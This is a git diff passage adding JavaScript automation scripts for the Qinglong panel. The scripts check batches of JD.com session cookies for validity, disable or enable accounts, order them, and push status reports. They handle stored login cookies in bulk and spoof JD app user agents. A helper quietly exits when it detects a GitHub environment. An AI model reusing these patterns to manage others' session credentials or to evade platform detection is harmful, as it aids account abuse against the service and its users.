TempErrorMessage; + SuccessMessageGp2 += TempSuccessMessage; + DisableMessageGp2 += TempDisableMessage; + EnableMessageGp2 += TempEnableMessage; + OErrorMessageGp2 += TempOErrorMessage; + } + if (userIndex3 != -1) { + ErrorMessageGp3 += TempErrorMessage; + SuccessMessageGp3 += TempSuccessMessage; + DisableMessageGp3 += TempDisableMessage; + EnableMessageGp3 += TempEnableMessage; + OErrorMessageGp3 += TempOErrorMessage; + } + if (userIndex4 != -1) { + ErrorMessageGp4 += TempErrorMessage; + SuccessMessageGp4 += TempSuccessMessage; + DisableMessageGp4 += TempDisableMessage; + EnableMessageGp4 += TempEnableMessage; + OErrorMessageGp4 += TempOErrorMessage; + } + + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + ErrorMessage += TempErrorMessage; + SuccessMessage += TempSuccessMessage; + DisableMessage += TempDisableMessage; + EnableMessage += TempEnableMessage; + OErrorMessage += TempOErrorMessage; + } + + } + console.log(`等待2秒....... \n`); + await $.wait(2 * 1000) + } + + if ($.isNode()) { + if (MessageUserGp2) { + if (OErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp2 + `\n\n`; + } + if (DisableMessageGp2) { + allMessageGp2 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp2 + `\n\n`; + } + if (EnableMessageGp2) { + if (CKAutoEnable == "true") { + allMessageGp2 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } + } + + if (ErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp2 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp2 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp2 = ""; + } + + if ($.isNode() && (EnableMessageGp2 || DisableMessageGp2 || OErrorMessageGp2 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#2:"); + console.log(allMessageGp2); + + if (strAllNotify) + allMessageGp2 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#2", `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp3) { + if (OErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp3 + `\n\n`; + } + if (DisableMessageGp3) { + allMessageGp3 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp3 + `\n\n`; + } + if (EnableMessageGp3) { + if (CKAutoEnable == "true") { + allMessageGp3 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } + } + + if (ErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp3 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp3 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp3 = ""; + } + + if ($.isNode() && (EnableMessageGp3 || DisableMessageGp3 || OErrorMessageGp3 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#3:"); + console.log(allMessageGp3); + if (strAllNotify) + allMessageGp3 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#3", `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp4) { + if (OErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp4 + `\n\n`; + } + if (DisableMessageGp4) { + allMessageGp4 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp4 + `\n\n`; + } + if (EnableMessageGp4) { + if (CKAutoEnable == "true") { + allMessageGp4 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } + } + + if (ErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp4 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp4 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp4 = ""; + } + + if ($.isNode() && (EnableMessageGp4 || DisableMessageGp4 || OErrorMessageGp4 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#4:"); + console.log(allMessageGp4); + if (strAllNotify) + allMessageGp4 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#4", `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + + if (OErrorMessage) { + allMessage += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessage + `\n\n`; + } + if (DisableMessage) { + allMessage += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessage + `\n\n`; + } + if (EnableMessage) { + if (CKAutoEnable == "true") { + allMessage += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } + } + + if (ErrorMessage) { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessage += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessage + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessage = ""; + } + + if ($.isNode() && (EnableMessage || DisableMessage || OErrorMessage || CKAlwaysNotify == "true")) { + console.log("京东CK检测:"); + console.log(allMessage); + if (strAllNotify) + allMessage += `\n` + strAllNotify; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + $.nickName = decodeURIComponent($.UserName); + $.NoReturn = `${$.nickName} :` + `${JSON.stringify(err)}\n`; + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + $.nickName = decodeURIComponent($.UserName); + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = (data.data.userInfo.baseInfo.nickname); + } else { + $.nickName = decodeURIComponent($.UserName); + console.log("Debug Code:" + data['retcode']); + $.NoReturn = `${$.nickName} :` + `服务器返回未知状态,不做变动\n`; + } + } else { + $.nickName = decodeURIComponent($.UserName); + $.log('京东服务器返回空数据'); + $.NoReturn = `${$.nickName} :` + `服务器返回空数据,不做变动\n`; + } + } + } catch (e) { + $.nickName = decodeURIComponent($.UserName); + $.logErr(e) + $.NoReturn = `${$.nickName} : 检测出错,不做变动\n`; + } + finally { + resolve(); + } + }) + }) +} +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_CkSeq.js b/jd_CkSeq.js new file mode 100644 index 0000000..92306b1 --- /dev/null +++ b/jd_CkSeq.js @@ -0,0 +1,531 @@ +/* +cron "0 0 * * *" jd_CheckCkSeq.js, tag:CK顺序调试工具by-ccwav + */ +const $ = new Env("CK顺序调试工具"); +const { + getEnvs +} = require('./ql'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} + +let arrCkPtPin = []; +let arrEnvPtPin = []; +let arrEnvStatus = []; +let arrEnvOnebyOne = []; +let strCk = ""; +let strNoFoundCk = ""; +let strMessage = ""; + +const fs = require('fs'); +let TempCKUid = []; +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +!(async() => { + + const envs = await getEnvs(); + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + arrEnvPtPin.push(tempptpin); + arrEnvStatus.push(envs[i].status); + var struuid=getuuid(envs[i].remarks,tempptpin) + arrEnvOnebyOne.push(struuid); + } + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + var tempptpin = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var intSeq = inArray(tempptpin, arrEnvPtPin); + if (intSeq != -1) { + intSeq += 1; + arrCkPtPin.push(tempptpin); + strCk += "【"+intSeq + "】" + tempptpin ; + if (arrEnvOnebyOne[i]) { + strCk += "(账号已启用一对一推送)" + } + strCk +="\n"; + } + } + } + + for (let i = 0; i < arrEnvPtPin.length; i++) { + var tempptpin = arrEnvPtPin[i]; + var intSeq = inArray(tempptpin, arrCkPtPin); + if (intSeq == -1) { + strNoFoundCk += "【"+(i + 1) + "】" + tempptpin; + if (arrEnvStatus[i] == 1) { + strNoFoundCk += "(状态已禁用)" + } + if (arrEnvOnebyOne[i]) { + strNoFoundCk += "(账号已启用一对一推送)" + } + strNoFoundCk +="\n"; + + } + } + + if (strNoFoundCk) { + console.log("没有出现在今日CK队列中的账号: \n" + strNoFoundCk); + strMessage+="没有出现在今日CK队列中的账号: \n" + strNoFoundCk; + } + + console.log("\n今日执行任务的账号顺序: \n" + strCk); + strMessage+="\n今日执行任务的账号顺序: \n" + strCk; + + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, strMessage); + } + return; +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()); + +function inArray(search, array) { + var lnSeq = -1; + for (var i in array) { + if (array[i] == search) { + lnSeq = i; + } + } + return parseInt(lnSeq); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + } + } + if (!strTempuuid && TempCKUid) { + //console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), 